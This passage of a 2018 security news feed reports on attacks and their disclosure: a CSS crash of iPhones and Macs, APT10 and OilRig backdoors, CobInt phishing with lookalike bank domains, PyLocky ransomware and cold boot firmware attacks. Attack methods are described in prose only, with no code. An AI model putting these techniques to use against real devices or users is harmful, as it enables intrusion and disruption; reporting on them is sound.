“The attack exploits a weakness in the –webkit-backdrop-filter CSS property,” Haddouche explained to BleepingComputer. “By using nested divs with that property, we can quickly consume all graphic resources and crash or freeze the OS. The attack does not require Javascript to be enabled therefore it also works in Mail. On macOS, the UI freeze. On iOS, the device restart.”

iphone

Haddouche successfully tested the attack on iOS 12 and caused the device to reboot, on iOS 11.4.1 it only caused a UI restart.

Haddouche explained that on macOS, the attack will only cause Mail and Safari to freeze for a second and then slow down the computer.

Haddouche also devised another attack that uses HTML, CSS, and JavaScript to completely freeze macOS systems. The researchers told Bleeping Computer that he has not disclosed it because it persists after reboot and macOS will relaunch Safari with the malicious page, causing the system entering in a look that freeze it again.

Lawrence Abrams from Bleeping Computer created a video showing what happens when a user visits the attack page created by Haddouche (sees the rawgit[.]com) and published on Github. Lawrence used an iPhone running iOS 11.4.1.

The bad news is that there is no mitigation for this attack.

Pierluigi Paganini

(Security Affairs – iPhone reboot, CSS attack)

The post Researcher devised a new CSS & HTML attack that causes iPhone reboot or freezes Macs appeared first on Security Affairs.



Security Affairs

Apache Struts & SonicWall’s GMS exploits key targets of Mirai & Gafgyt IoT malware

By Waqas

Security researchers at Palo Alto Networks’ Unit 42 have discovered modified versions of the notorious Mirai and Gafgyt Internet of Things (IoT) malware. The malware have the capability of targeting flaws that affect Apache Struts and SonicWall Global Management System (GMS). Moreover, the Unit 42 researchers also discovered new versions of Mirai and Gafgyt (aka BASHLITE) […]

This is a post from HackRead.com Read the original post: Apache Struts & SonicWall’s GMS exploits key targets of Mirai & Gafgyt IoT malware

Experts disclose a Webroot SecureAnywhere macOS Kernel Level bug found months ago

Security experts disclosed a locally exploitable kernel-level vulnerability in the Webroot SecureAnywhere macOS security software.

The Webroot SecureAnywhere macOS security software was affected by a locally exploitable kernel-level vulnerability. An attacker that exploit the flaw could execute malware at the “kernel level” on a vulnerable Mac system.

The vulnerability, tracked as CVE-2018-16962, was patched months ago but publicly disclosed only yesterday.

“Webroot SecureAnywhere before 9.0.8.34 on macOS mishandles access to the driver by a process that lacks root privileges.” reads the security advisory.

The flaw is difficult to trigger, it is exploitable only by a local attacker that is logged into a vulnerable Mac system or by tricking an already logged-in user into opening an exploit through social engineering.

The vulnerability was discovered by researchers at Trustwave, the flaw was caused by the lack of validation of arbitrary user-supplied pointer being read from and potentially written too.

“Email Trustwave recently discovered a locally exploitable issue in the macOS version of the Webroot SecureAnywhere solution.” reads the analysis published by Trustwave.

“The issues root cause is an arbitrary user-supplied pointer being read from and potentially written too. As such, the issue arms an attacker with a write-what-where kernel gadget with the caveat that the original value of the memory referenced by the pointer must be equal to (int) -1.”

Under certain conditions, the issue could be chained with other exploit to gain a local privilege escalation.

The researchers pointed out that the exploitability of the flaw is limited in that the original value of the memory address dereferenced must be (int) -1.

A workable exploit could be implemented bypassing the KASLR (kernel address space layout randomisation) on the versions of OSX/macOS supported by SecureAnywhere.

Webroot addressed the vulnerability since July with the release of SecureAnywhere for MacOS version 9.0.8.34. At the time of writing, there is no evidence of any compromises from this vulnerability.

Trustwave decided to disclose only now the issue for the following reason;

“It is important that the details of our research are accurate and in order. Vendors at times issue a patch faster than we post full details on findings. We often provide users with more time to apply the patch before we release technical details about a vulnerability.”

SecureAnywhere webroot

Below the statement published by Webroot:

“The security of our customers is of paramount importance to Webroot. This vulnerability was remedied in software version 9.0.8.34 which has been available for our customers since July 24, 2018. We have no evidence of any compromises from this vulnerability.

For any user running a version of Mac not currently supported by Apple (OS 10.8 or lower), we recommend upgrading to an Apple-supported version to receive our updated agent and be in line with cybersecurity best practices on system patching.

Collaboration in the cybersecurity community is what keeps us all safer. We appreciate the Trustwave SpiderLabs team’s use of responsible disclosure to help protect the wider community from cyberthreats.”

Pierluigi Paganini

(Security Affairs – CVE-2018-16962, Webroot SecureAnywhere flaw)

The post Experts disclose a Webroot SecureAnywhere macOS Kernel Level bug found months ago appeared first on Security Affairs.

Dutch expelled two Russian spies over hack plan on Swiss lab working on Skripal case

Dutch intelligence services arrested two alleged Russian spies that were planning to hack a Swiss laboratory where is ongoing an investigation on the poisoning of the spy Sergei Skripal.

According to Dutch-based NRC newspaper and Swiss daily Tages-Anzeiger, Dutch intelligence services arrested two alleged Russian spies working for Russia’s GRU military intelligence service on suspicion of planning to hack the Spiez laboratory near Bern.

The laboratory conducts investigations for a global chemical arms watchdog, the Organisation for the Prohibition of Chemical Weapons (OPCW), its researchers were investigating the poisoning of agent Sergei Skripal and his daughter in Salisbury.

The two agents carried equipment to hack into the network of the laboratory to spy on the activity of its researchers.

Russian Foreign Minister Sergei Lavrov expressed his disappointment for the arrest of the two men earlier this year.

“The two were detained “early this year” by Dutch military intelligence (MIVD) working together with several other countries, and then expelled from the Netherlands, the newspapers reported.” states the AFP press.

The decision to expel the two spies was taken by the cabinet of the Dutch Prime Minister Mark Rutte on March 26.

“The duo, according to sources within the investigation, carried equipment which they wanted to use to break into the computer network” of the Spiez laboratory.

The researchers at the Spiez Lab were analyzing data related to poison gas attacks in Syria, as well as the attack on the double agent Sergei Skripal that involved the nerve agent Novichok on Russian double agent Sergei Skripal and his daughter.

“The case of the Russian spies discovered in The Hague and then expelled from The Hague is known to Swiss authorities,” Isabelle Graber, spokeswoman for the Swiss intelligence services (SRC), told AFP.

“[The SRC] actively participated in this operation in collaboration with its Dutch and British partners in prevention of illegal actions against critical Swiss infrastructure.

Spiez laboratory representatives confirmed to have observed hacking attempts in the last months and to have taken precautions to repeal them.

Skripal Labor Spiez

Andreas Bucher, a spokesman for the Spiez lab, told AFP that in June attackers took documents from the lab’s website and “distributed a very malicious malware virus” to affiliated agencies.

It is interesting to note that the same piece of malware was used in the attacks on the Pyeongchang Winter Olympics in South Korea.

According to The Washington Post, the incidents were caused by cyber attacks powered by hackers working at Russia’s GRU military intelligence agency that managed to take control in early February of 300 computers linked to the Olympic organization.

The cyber attacks were a retaliation against the International Olympic Committee for banning the Russian team from the Winter Games due to doping cases of Russian athletes.

In April Russia’s SVR foreign intelligence service information chief Sergei Ivanov accused the OPCW of “manipulating” the results of the Skripal case.

According to information obtained by Ivanov, the OPCW was omitting findings from the Spiez laboratory, he explained that the samples sent by the OPCW contained a nerve agent called “BZ” which was manufactured by the West.

Pierluigi Paganini

(Security Affairs – Skripal case, GRU)

The post Dutch expelled two Russian spies over hack plan on Swiss lab working on Skripal case appeared first on Security Affairs.

China-linked APT10 group behind new attacks on the Japanese media sector

Recently researchers from FireEye uncovered and blocked a campaign powered by the Chinese APT10 cyber espionage group aimed at Japanese media sector

In July, security researchers from FireEye uncovered and blocked a campaign carried out by Chinese APT10 group (aka Menupass, and Stone Panda) aimed at Japanese media sector.

Experts noticed the group since around mid-2016 when it was using PlugX, ChChes, Quasar and RedLeaves malware in targeted attacks.

The group has been active at least since 2009, in April 2017 experts from PwC UK and BAE Systems uncovered a widespread hacking campaign, tracked as Operation Cloud Hopper, targeting managed service providers (MSPs) in multiple countries worldwide.

In July 2018, FireEye observed a series of new attacks of the group leveraging spear-phishing emails using weaponized Word documents that attempt to deliver the UPPERCUT backdoor, also tracked as ANEL.

The ANEL malware was already seen in the previous attack as a beta version or release candidate.

The spear phishing emails have an unreadable content and use titles related to maritime, diplomatic, and North Korean issues.  The body of the messages includes a password to use to see the password-protected document.

The analysis of the UPPERCUT samples revealed that their timestamps were overwritten and filled with zeroes. The experts pointed out the lack of visibility into the UPPERCUT 5.2.x series, but they speculated that minor versions might have been released every few months between December 2017 and May 2018.

“The compile time of loaders in the newer version(s) are not shown here since the timestamps are overwritten and filled with zeroes. We don’t have visibility into UPPERCUT 5.2.x series, but it’s possible that minor revisions were released every few months between December 2017 and May 2018.” states the report.

“Unlike previous versions, the exported function names are randomized in the latest version”

APT10 timeline

The latest version also implements another new feature, it sends an error code in the Cookie header when failing to receive the HTTP response from the command and control (C&C) server.

The malicious code support several commands such as:

The commands supported in the new version include: download and validate file; upload file to the C&C; load PE file; download, validate, execute file, and send output to C&C server; format the current timestamp; capture the desktop screenshot in PNG format and send it to C&C; execute received buffer via cmd.exe and send the output to the server.

“While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving,” FireEye concludes.

“In the newer versions of UPPERCUT, there is a significant change in the way backdoor initializes the Blowfish encryption key, which makes it harder for analysts to detect and decrypt the backdoor’s network communications. This shows that APT10 is very capable of maintaining and updating their malware,” 

Pierluigi Paganini

(Security Affairs – Kelihos, malware)

The post China-linked APT10 group behind new attacks on the Japanese media sector appeared first on Security Affairs.

Canadian town forced to pay Bitcoin after nasty ransomware attack

By Uzair Amir

The town of Midland, Ontario, Canada, has decided to pay cybercriminals after its servers were targeted and infected with a nasty ransomware on Saturday, September 1, at approximately 2 a.m. The total amount of ransom payment has not been disclosed but the demand from cybercriminals was that they must be paid in Bitcoin if the town wants […]

This is a post from HackRead.com Read the original post: Canadian town forced to pay Bitcoin after nasty ransomware attack

Operator at kayo.moe found a 42M Record Credential Stuffing Data ready to use

Operator at kayo.moe found a 42M Record  Credential Stuffing Data containing email addresses, plain text passwords, and partial credit card info.

A huge archive containing email addresses, plain text passwords, and partial credit card data has been found on a free anonymous hosting service, Kayo.moe.

The operator of the service shared the file with the popular expert Troy Hunt who operates the Have I Been Pwned data breach notification service asking him to check the source of the huge trove of data.

The data is not related to a data breach of kayo.moe, the platform was not impacted by any incident.

The database shared by Kayo includes over a total of 755 files totaling 1.8GB.

According to Hunt, the data in the archive were collected for credential stuffing attacks, typically hackers obtain data from multiple breaches then combine them into a single unified list.

The attackers were likely planning to run them automatically against multiple online services and compromise user accounts.

Roughly 89% of the records in a sample set analyzed by Hunt were already in the HIBP archive, this means that the archive anyway contains a huge quantity of data that were not present.

“When I pulled the email addresses out of the file, I found almost 42M unique values. I took a sample set and found about 89% of them were already in HIBP which meant there was a significant amount of data I’ve never seen before. (Later, after loading the entire data set, that figure went up to 93%.),” Hunt wrote a blog post.

“There was no single pattern for the breaches they appeared in and the only noteworthy thing that stood out was a high hit rate against numeric email address aliases from Facebook also seen in the (most likely fabricated) Badoo incident. Inverting that number and pro-rata’ing to the entire data set, I’d never seen more than 4M of the addresses. So I loaded the data.”

Credential Stuffing Data

 

“The data also contained a variety of other files; some with logs, some with partial credit card data and some with Spotify details.” added Hunt. “This doesn’t indicate a Spotify breach, however, as I consistently see pastes implying a breach yet every time I’ve delved into it, it’s always come back to account takeover via password reused.”

To avoid being vulnerable to credential stuffing attacks the best defense is to use different credentials for each web service we use. Don’t reuse passwords!

Always use a two-factor authentication mechanism when implemented by the service we access to, and use strong password that can be generated by password manager applications.

Pierluigi Paganini

(Security Affairs – credential stuffing attacks, hacking)

The post Operator at kayo.moe found a 42M Record Credential Stuffing Data ready to use appeared first on Security Affairs.

Iran-Linked OilRig APT group targets high-ranking office in a Middle Eastern nation

Researchers from the Unit42 at Palo Alto Networks observed Iran-Linked OilRig APT group targeting high-ranking office in a Middle Eastern nation

The Iran-linked APT group OilRig continues to very active, it continues to improve the weapons in its arsenal.

The OilRig hacker group has been around since at least 2015, since then it targeted mainly organizations in the financial and government sectors, in the United States and Middle Eastern countries.

The OilRig APT group was recently observed using a new variant of the OopsIE Trojan that implements news evasion capabilities.

Now researchers from Palo Alto Networks’s Unit 42 have uncovered a new campaign attributed to the group that targeted members of an undisclosed government in the Middle East with an evolved variant of the BondUpdater trojan.

In mid-August, the state-sponsored hackers launched a highly targeted spear-phishing email to a high-ranking office in a Middle Eastern nation.

“In August 2018, Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER. BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017, when OilRig targeted a different Middle Eastern governmental organization.” reads the analysis published by Palo Alto Networks.

“The spear-phishing email had an attached Microsoft Word document that contained a macro responsible for installing a new variant of BONDUPDATER.”

The hackers used spear-phishing emails to deliver an updated version of the PowerShell-based BondUpdater Trojan. The BONDUPDATER Trojan supports implements common backdoor features such as uploading and downloading files, as well as executing commands on the infected system.

“The BondUpdater trojan contains basic backdoor functionality, allowing threat actors to upload and download files, as well as the ability to execute commands,” continues the analysis published by Palo alto Networks.

“BONDUPDATER, like other OilRig tools, uses DNS tunneling to communicate with its C2 server. During the past month, Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware, which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications.”

The spear-phishing messages use a weaponized document with a macro responsible for downloading and executing a new variant of BondUpdater.

The macro runs the VBScript “AppPool.vbs” that creates a scheduled task that is execute every minute to ensure persistence to the BONDUPDATER Trojan.

The malware checks that only one instance of it is running at one time, it also locks files to determine how long the main PowerShell process has been executing.

If the main PowerShell process has been running for more than 10 minutes, the script will stop the process and delete the lock file to allow future execution of the PowerShell script.

“Future executions of the PowerShell script will fully execute as the lock file will no longer exist on the system. This suggests the threat actors may have experienced issues with this Trojan running for extended periods in the past, likely related to the communication loops that we will discuss later.” continues the experts.

OilRig APT

The BONDUPDATER Trojan also includes a new TXT-based C2 communication option, the malware includes two different variations of the DNS tunneling protocol, one using DNS A records, and one using DNS TXT records to transmit data from the command & control to the trojan.

“As expected, OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East. Sometimes developing new tools, OilRig also often uses what has worked in the past, including developing variants of previously used tools and malware. This reduces development time and capitalizes on previous versions of the tool and its success.” concluded Palo Alto Networks.

If you are interested in the indicators of Compromise (IoCs), give a look at the analysis published by Palo Alto Networks.

Pierluigi Paganini

(Security Affairs – OilRig APT, hacking)

The post Iran-Linked OilRig APT group targets high-ranking office in a Middle Eastern nation appeared first on Security Affairs.

Kelihos botmaster pleads guilty in U.S. District Court in Connecticut

The creator of the infamous Kelihos Botnet, Peter Yuryevich Levashov (38) pleaded guilty this week to computer crime, fraud, conspiracy and identity theft charges.

Yuryevich Levashov (38), the botmaster of the dreaded Kelihos Botnet pleaded guilty this week to computer crime, fraud, conspiracy and identity theft charges.

In April 2017, the United States Department of Justice announced that Peter Yuryevich Levashov (36) (also known as Petr Levashov, Peter Severa, Petr Severa and Sergey Astakhov) was arrested in Barcelona for his involvement with the infamous Kelihos botnet. Levashov was extradited to the United States in February.

“Peter Yuryevich Levashov, aka “Petr Levashov,” “Peter Severa,” “Petr Severa” and “Sergey Astakhov,” 38, of St. Petersburg, Russia, pleaded guilty today in U.S. District Court in Hartford, Connecticut, to offenses stemming from his operation of the Kelihos botnet, which he used to facilitate malicious activities including harvesting login credentials, distributing bulk spam e-mails, and installing ransomware and other malicious software.” states the press release published by the DoJ.

Levashov on Wednesday pleaded guilty in U.S. District Court in Hartford, Connecticut, to one count of causing intentional damage to a protected computer, one count of conspiracy, one count of aggravated identity theft, and one count of wire fraud.

kelihos botnet

According to a study conducted by CheckPoint Security, a malware landscape was characterized by some interesting changed in this first part of 2017.

The Kelihos botnet climbed to the top position, while the Conficker worm dropped to fourth on the chart of malware.

Levashov has operated several botnets between since the late 1990s, for example, two other botnets tracked as Storm and Waledac borrow the code with Kelihos, both have been attributed to Levashov.

“For over two decades, Peter Levashov operated botnets which enabled him to harvest personal information from infected computers, disseminate spam, and distribute malware used to facilitate multiple scams,” said Assistant Attorney General Benczkowski.

“Mr. Levashov used the Kelihos botnet to distribute thousands of spam e-mails, harvest login credentials, and install malicious software on computers around the world,” said U.S. Attorney Durham.  “He also participated in online forums on which stolen identities, credit card information and cybercrime tools were traded and sold.  For years, Mr. Levashov lived quite comfortably while his criminal behavior disrupted the lives of thousands of computer users. “

The DoJ speculated Levashov sent spam urging recipients to buy shares as part of a “pump and dump” scam, among other naughtiness.

The Russian hacker was accused to have used the Kelihos botnet for spam campaign that advertised various criminal schemes, including pump-and-dump stock fraud.

The activity conducted by the Kelihos, Storm and Waledac botnets was very profitable, prosecutors believe they allowed crooks to earn hundreds of millions of dollars

“For years, Mr. Levashov lived quite comfortably while his criminal behavior disrupted the lives of thousands of computer users,” said U.S. Attorney John H. Durham of the District of Connecticut. “Thanks to the collaborative work of the FBI and our partners in law enforcement, private industry and academia, a prolific cybercriminal has been neutralized, and has now admitted his guilt in a U.S. courtroom.”

The sentence has been scheduled for September 6, 2019, likely because the man is now helping law enforcement agencies on investigations on other cybercrime operations.

Pierluigi Paganini

(Security Affairs – Kelihos, malware)

The post Kelihos botmaster pleads guilty in U.S. District Court in Connecticut appeared first on Security Affairs.

NBlog Sept 14 – black market credit card values

An otherwise unremarkable marketing email from Armor caught my beady with this:
"Armor has been tracking hackers, on both English-speaking and Russian-speaking markets, and found that current prices for stolen U.K. credit cards (Visa, Mastercard and American Express), with corresponding CVV data and expiration dates runs $35 each, $30 for a European Visa, Mastercard or American Express card, and $15 for a U.S. Visa or Mastercard and $18 for an American Express card." 
That's quite a range of values. I wonder why some stolen credit card details are twice as valuable as others on the black market. What makes them so attractive, relatively speaking?

Possible reasons for the discrepancy:

  • Market imperfections such as time lags between changes in supply or demand and price adjustments;
  • Some are rarer, in relatively short supply, with consistent demand driving prices up;
  • Vendors are simply taking advantage of 'market pricing': they charge whatever the market will bear, by reference to prices and sales for similar commodities;
  • Buyers are price-insensitive: the purchase price is insignificant compared to the anticipated income;
  • Demand is higher for some of them hence they are 'worth' more because: 
    • Identity fraud is somehow easier with them (e.g. the card providers' anti-fraud controls are weaker, perhaps detection and prosecution of fraudsters is less likely?);
    • Identity fraud is more lucrative with them (e.g. the accounts to which they link have larger balances and credit limits);
    • They are more likely to be and remain active, less likely to have been or be deactivated by the companies or card holders concerned (perhaps they are less aware of and/or responsive to identity fraud?);
    • The financial companies concerned and/or the authorities are actively buying up these cards in order to take them out of circulation, hoping perhaps to trace the sellers, in the process inadvertently driving up their market value (doh!);
    • Buyers value them for some other reason: they are deemed to be of higher quality, maybe 'needed' to complete collectors' sets?;

    • Statistical anomalies, truly random fluctuation, data errors and plain ol' mistakes e.g. we're not told how many of each type of card were on sale, nor is there any indication of the variance in prices;
    • Ulterior motives and bias behind the reported numbers: they were, after all, included in a mass marketing email, an unsolicited one at that i.e. spam.
    As usual, I'm quoting and citing the source to illustrate an analytical approach, not to discredit or challenge the source so much as encourage you, dear blog reader, to think critically about such information rather than taking it at face value. I've seen similar numbers from other sources ... which may mean they are 'in the right ballpark' but could equally be an example of anchoring bias (if people have no idea of the correct value, they tend to estimate within or near whatever range is suggested to them, focusing on and implicitly assuming that the suggested range is valid).

    Just sayin'

    Flaws in firmware expose almost any modern PC to Cold Boot Attacks

    New Firmware Flaws Resurrect Cold Boot Attacks

    A team of security researchers demonstrated that the firmware running on nearly all modern computers is vulnerable to cold boot attacks.

    A team of experts from cybersecurity firm F-Secure has discovered security flaws affecting firmware in modern computers that could be exploited by hackers to carry out cold boot attacks and recover sensitive data from the memory of the affected machines.

    The attack devised by Olle Segerdahl and Pasi Saarinen leverages physical changes to the target hardware.

    cold boot attack is a type of side channel attack that allows an attacker with physical access to the target system to retrieve sensitive data (i.e. encryption keys, passwords) from a running operating system after using a cold reboot to restart the machine.

    “Cold boot attacks are a known method of obtaining encryption keys from devices. But the reality is that attackers can get their hands on all kinds of information using these attacks. Passwords, credentials to corporate networks, and any data stored on the machine are at risk,” reads the blog post published by the experts.

    Cold Boot Attacks

    The attack is possible because the data can remain in memory for a variable time and an attacker can retrieve them by accessing the memory after a cold reboot. The permanence of data in memory could be extended up to hours by cooling memory modules.

    Experts from F-Secure discovered vulnerabilities affecting computers from several major vendors, including Dell, Lenovo, and Apple.

    The bad news is that it is impossible to fix such flaws in the affected machines.

    The experts at F-Secure demonstrated that hardware changes could be exploited by an attacker to disable the feature that overwrites memory after a reboot, and configure the computer to boot from an external device.

    “The two experts figured out a way to disable this overwrite feature by physically manipulating the computer’s hardware.” continues the blog post.

    “Using a simple tool, Olle and Pasi learned how to rewrite the non-volatile memory chip that contains these settings, disable memory overwriting, and enable booting from external devices. Cold boot attacks can then be carried out by booting a special program off a USB stick.” 

    The experts demonstrated that it is possible to carry out the attack using a specially crafted USB device that contains the code to dump the content of the pre-boot memory to a file.

    The security duo speculates that the attack can be effective against nearly all modern laptops.

    “It’s not exactly easy to do, but it’s not a hard enough issue to find and exploit for us to ignore the probability that some attackers have already figured this out,” Segerdahl explained. “It’s not exactly the kind of thing that attackers looking for easy targets will use. But it is the kind of thing that attackers looking for bigger phish, like a bank or large enterprise, will know how to use.”

    A possible mitigation consists of configuring devices to shut down or hibernate instead of sleeping when they’re not used. Windows users have to configure BitLocker that asks for a PIN whenever the computers power up.

    Even implementing these measures, an attacker could still perform a cold boot attack but cannot access encryption keys because they aren’t stored in the RAM when a machine hibernates or shuts down. This means that here’s no valuable info for an attacker to access.

    “A quick response that invalidates access credentials will make stolen laptops less valuable to attackers. IT security and incident response teams should rehearse this scenario and make sure that the company’s workforce knows to notify IT immediately if a device is lost or stolen,” said Segerdahl. “Planning for these events is a better practice than assuming devices cannot be physically compromised by hackers because that’s obviously not the case.” concludes the experts.

    Pierluigi Paganini

    (Security Affairs – cold boot attacks, hacking)

    The post Flaws in firmware expose almost any modern PC to Cold Boot Attacks appeared first on Security Affairs.

    ICS CERT warns of several flaws in Fuji Electric V-Server

    Experts discovered several flaws in Fuji Electric V-Server, a tool that connects PCs within the organizations to Industrial Control Systems (ICS).

    Experts discovered several vulnerabilities in Fuji Electric V-Server, a tool that connects PCs within the organizations to Industrial Control Systems (ICS) on the corporate network. The ICS-CERT published two advisories to warn of the existence of the flaws that could have a severe impact on a broad range of companies in the critical manufacturing sector.

    Fuji Electric V server

    The vulnerabilities rated as “high severity” could be exploited by a remote attacker to execute arbitrary code, The kind of issues affecting products that control ICS systems are very dangerous and pose a severe threat to the companies, their security is essential to avoid ugly surprises.

    Vulnerabilities affecting products that connect the corporate network to industrial control systems (ICS) can pose a serious threat since that is how many threat actors attempt to make their way onto sensitive systems.

    Fuji Electric V-Server devices access to programmable logic controllers (PLCs) on the corporate network via Ethernet. The control of the PLCs is implemented via the Monitouch human-machine interfaces (HMI).

    “Successful exploitation of these vulnerabilities could allow for remote code execution on the device, causing a denial of service condition or information exposure.” reads the advisory published by the ICS CERT.

    The list of vulnerabilities includes use-after-free, untrusted pointer dereference, heap-based buffer overflow, out-of-bounds write, integer underflow, out-of-bounds read, and stack-based buffer overflow vulnerabilities that could be exploited by remote attackers to execute arbitrary code and trigger denial-of-service (DoS) condition or information disclosure.

    The bad news is that public exploits for some flaws are already available online.

    The ICS-CERT also warns of another high severity buffer overflow in V-Server Lite that can lead to a DoS condition or information leakage. The flaw could be triggered by tricking victims into opening specially crafted project files.

    The vendor addressed the issues with the release of version 4.0.4.0.

    The flaws were reported to the vendor via Trend Micro’s Zero Day Initiative (ZDI) by researchers Steven Seeley from Source Incite and Ariele Caltabiano.

    ZDI rated the flaws as “medium severity” with a CVSS score of 6.8, while the most severe issue was the one found by Caltabiano.

    “This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Fuji Electric V-Server. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.” states the advisory from ZDI.

    “The specific flaw exists within the parsing of a VPR file. The issue results from the lack of proper validation of user-supplied data, which can result in an integer underflow before writing to memory. An attacker can leverage this vulnerability to execute code under the context of the V-Server process.”

    Pierluigi Paganini

    (Security Affairs – Fuji Electric V-Server, China)

    The post ICS CERT warns of several flaws in Fuji Electric V-Server appeared first on Security Affairs.

    Security Risks of Government Hacking

    Some of us -- myself included -- have proposed lawful government hacking as an alternative to backdoors. A new report from the Center of Internet and Society looks at the security risks of allowing government hacking. They include:

    • Disincentive for vulnerability disclosure
    • Cultivation of a market for surveillance tools
    • Attackers co-opt hacking tools over which governments have lost control
    • Attackers learn of vulnerabilities through government use of malware
    • Government incentives to push for less-secure software and standards
    • Government malware affects innocent users.

    These risks are real, but I think they're much less than mandating backdoors for everyone. From the report's conclusion:

    Government hacking is often lauded as a solution to the "going dark" problem. It is too dangerous to mandate encryption backdoors, but targeted hacking of endpoints could ensure investigators access to same or similar necessary data with less risk. Vulnerabilities will never affect everyone, contingent as they are on software, network configuration, and patch management. Backdoors, however, mean everybody is vulnerable and a security failure fails catastrophically. In addition, backdoors are often secret, while eventually, vulnerabilities will typically be disclosed and patched.

    The key to minimizing the risks is to ensure that law enforcement (or whoever) report all vulnerabilities discovered through the normal process, and use them for lawful hacking during the period between reporting and patching. Yes, that's a big ask, but the alternatives are worse.

    This is the canonical lawful hacking paper.

    Cobalt crime gang is using again CobInt malware in attacks on former soviet states

    The Russian Cobalt crime gang was particularly active in the last month, a new report confirms a massive use of the CobInt malware in recent attacks.

    Security researchers from Proofpoint reported the massive use of the CobInt malware by the Cobalt group in recent attacks. The Cobalt name is based on the association of the malware with the “Cobalt Group” and an internal DLL name of “int.dll” used in some of the samples detected by the experts.

    On August 13, 2018, security experts from Netscout’s ASERT, uncovered a new campaign carried out by the Cobalt crime gang. The hackers targeted also the NS Bank in Russia and Carpatica/Patria in Romania.

    Cobalt crime gang has been active since at least 2016, it targeted banks worldwide, the group leveraged spear-phishing emails to compromise target systems, spoofed emails from financial institutions or a financial supplier/partner.

    The attackers exploited several vulnerabilities in Microsoft Office, including CVE-2017-8570CVE-2017-11882, and CVE-2018-0802.

    The group also targeted entities in other sectors, including Government agencies, Telco, Internet service providers, manufacturing, entertainment, and companies in the healthcare industry.

    Early this year the hacker group used the malware as a first-stage downloader, but in later attacks, the crew did not use it anymore. CobInt is a multi-stage CobInt malware dropped by the group via malicious Office documents that were created using the ThreadKit builder kit.

    The Cobalt crime gang used again the CobInt backdoor in many attacks since July, including the attacks aimed at the Russian and Romanian banks.

    In August, Proofpoint experts observed at least four campaigns of the group leveraging the CobInt malware.

    “We have also observed an actor commonly known as Cobalt Gang (or Group) using another new downloader that shares many of these characteristics since early 2018. Group-IB named this malware “CobInt” and released a report on its use by Cobalt Gang in May [3]. While we noticed that Cobalt Gang appeared to stop using CobInt as a first-stage downloader around the time researchers at Group-IB published their findings, they have since returned to using the downloader as of July.” reads the analysis published by Proofpoint.

    Below the list of the attacks carried out by the Cobalt crime gang in the last weeks:

    Date Description CVV
    August 2, 2018 Attacker used messages with the subject “Подозрение на мошенничество” (Translated from Russian: “Suspicion of fraud”) purporting to be from “Interkassa” using a sender email address with a lookalike domain “denis[@]inter-kassa[.]com”.
    August 14, 2018, Attackers used messages spoofing the Single Euro Payments Area (SEPA) with lookalike sender domains sepa-europa[.]com or sepa-europa[.]info and subjects such as “notification”, “letter”, “message”, and “notice”. The messages (Figure 1) contained: CVE-2017-8570, CVE-2017-11882, or CVE-2018-0802
    August 16, 2018, Attackers used messages purporting to be from Alfa Bank using a lookalike domain aifabank[.]com and subjects such as “Fraud Control”, “Фрауд” (Translates to “Fraud”), “Предотвращение хищения” (Translates to “Prevention of theft“), and “Блокирование транзакций” (Translates to “Transaction Blocking”). CVE-2017-8570, CVE-2017-11882, or CVE-2018-0802
    September 4, 2018 Attackers used messages purporting to be from Raiffeisen Bank using lookalike sender domains ralffeisen[.]com and subjects such as “Fraudulent transaction”, “Wire Transfer Fraud”, and “Request for data”. CVE-2018-8174

     

    Cobalt crime Gang.png

    Malware analysis reveals that the CobInt is a downloader written in C that can be broken up into three stages: an initial downloader for the core component, the core component, and several additional modules.

    The first stage downloader disguises its activity by the use of Windows API function hashing and downloads the second stage via HTTPS.

    The main component downloads and executes various modules from its C&C. C&C hosts are stored in a 64-byte chunk of encrypted data that can be decrypted by XORing with a 64-byte XOR key.

    The malware supports the following commands:

    • load/execute module;
    • stop polling C&C;
    • execute function set by module;
    • update C&C polling wait time.

    These, Proofpoint notes, are reconnaissance steps that the attackers are likely to follow with the deployment of additional modules to the compromised systems of interest.

    “CobInt provides additional evidence that threat actors — from newer players we featured in our AdvisorsBot blog to established actors like TA505 and Cobalt Group– are increasingly looking to stealthy downloaders to initially infect systems and then only install additional malware on systems of interest.” Proofpoint concludes.

    “As defenses improve across the board, threat actors must innovate to improve the returns on their investments in malware and infection vectors, making this approach consistent with the “follow the money” theme we have associated with a range of financially motivated campaigns over the years. This appears to be the latest trend as threat actors look to increase their effectiveness and differentiate final payloads based on user profiles” 

    Further details, including IoCs are reported in the analysis published by Proofpoint.

    Pierluigi Paganini

    (Security Affairs – Cobalt crime gang, hacking)

    The post Cobalt crime gang is using again CobInt malware in attacks on former soviet states appeared first on Security Affairs.

    New PyLocky Ransomware stands out for anti-machine learning capability

    Security experts from Trend Micro have spotted a new strain of ransomware involved in attacks in July and August, the malicious code was posing as the Locky ransomware.

    Researchers at Trend Micro have detected a new ransomware family, dubbed PyLocky, that was used in attacks between July and August, the malware was posing as the Locky ransomware using its ransom note.

    PyLocky is written in Python and it is packaged with the PyInstaller tool that is normally used to freeze Python programs into stand-alone executables.

    PyLocky stands out for its anti-machine learning capability, it also leverages the open-source script-based Inno Setup Installer.

    “In late July and throughout August, we observed waves of spam email delivering the PyLocky ransomware. Although it tries to pass off as Locky in its ransom note, PyLocky is unrelated to Locky.” reads hte analysis published by Trend Micro.

    PyLocky is written in Python, a popular scripting language; and packaged with PyInstaller, a tool used to package Python-based programs as standalone executables.”

    Experts warn of its ability to bypass static analysis methods due to the combined use of Inno Setup Installer and PyInstaller.

    The PyLocky malware was distributed via spam emails most of which targeted European countries, particularly France.

    Experts pointed out the spam campaign started low in volume, but the overall number of spam messages increased in time.

    The infections chain sees spam messages distributing PyLocky to recipients luring them with socially engineered subjects. The emails include a link that redirects users to a malicious URL containing the PyLocky components.

    “The malicious URL leads to a ZIP file (Facture_23100.31.07.2018.zip) that contains a signed executable (Facture_23100.31.07.2018.exe). When successfully run, the Facture_23100.31.07.2018.exe will drop malware components — several C++  and Python libraries and the Python 2.7 Core dynamic-link library (DLL) — along with the main ransomware executable (lockyfud.exe, which was created via PyInstaller ) in C:\Users\{user}\AppData\Local\Temp\is-{random}.tmp.” states the report.

    pylocky ransomware

